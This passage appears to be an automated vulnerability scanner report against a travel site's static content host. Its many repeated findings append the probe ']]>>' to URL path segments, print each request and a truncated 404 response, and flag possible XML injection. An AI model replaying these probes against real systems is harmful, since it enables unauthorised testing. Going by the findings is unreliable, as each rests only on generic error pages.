GET /static/deploy/javascript/core/comp]]>>/HwTilesComp.js?ver=185918 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535994 Date: Mon, 03 Oct 2011 01:02:11 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 6 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 6. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript/core/comp/HwTilesComp.js]]>>?ver=185918 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:16 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/javascript/hotel/details/HotelDetailsMapContainerComp.js?ver=172705 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535945 Date: Mon, 03 Oct 2011 01:02:27 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/javascript/hotel/details/HotelDetailsMapContainerComp.js?ver=172705 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535997 Date: Mon, 03 Oct 2011 01:02:31 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript]]>>/hotel/details/HotelDetailsMapContainerComp.js?ver=172705 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:34 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript/hotel]]>>/details/HotelDetailsMapContainerComp.js?ver=172705 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:39 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript/hotel/details]]>>/HotelDetailsMapContainerComp.js?ver=172705 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:41 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 6 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 6. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/javascript/hotel/details/HotelDetailsMapContainerComp.js]]>>?ver=172705 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:43 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/buttons/btn-book-now-large.gif?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535950 Date: Mon, 03 Oct 2011 01:01:54 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/buttons/btn-book-now-large.gif?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/buttons]]>>/btn-book-now-large.gif?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/buttons/btn-book-now-large.gif]]>>?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:03 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/buttons/btn-submit2.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:54 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/buttons/btn-submit2.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/buttons]]>>/btn-submit2.png?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/buttons/btn-submit2.png]]>>?ver=222337 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:02 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:02 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/car-add-on/img-car-type-selector-OFF-new.png?ver=193844 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:16 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/car-add-on/img-car-type-selector-OFF-new.png?ver=193844 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:18 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/car-add-on]]>>/img-car-type-selector-OFF-new.png?ver=193844 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535989 Date: Mon, 03 Oct 2011 01:02:20 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/car-add-on/img-car-type-selector-OFF-new.png]]>>?ver=193844 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:22 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:22 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/core/background/208x3-grid-bg.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
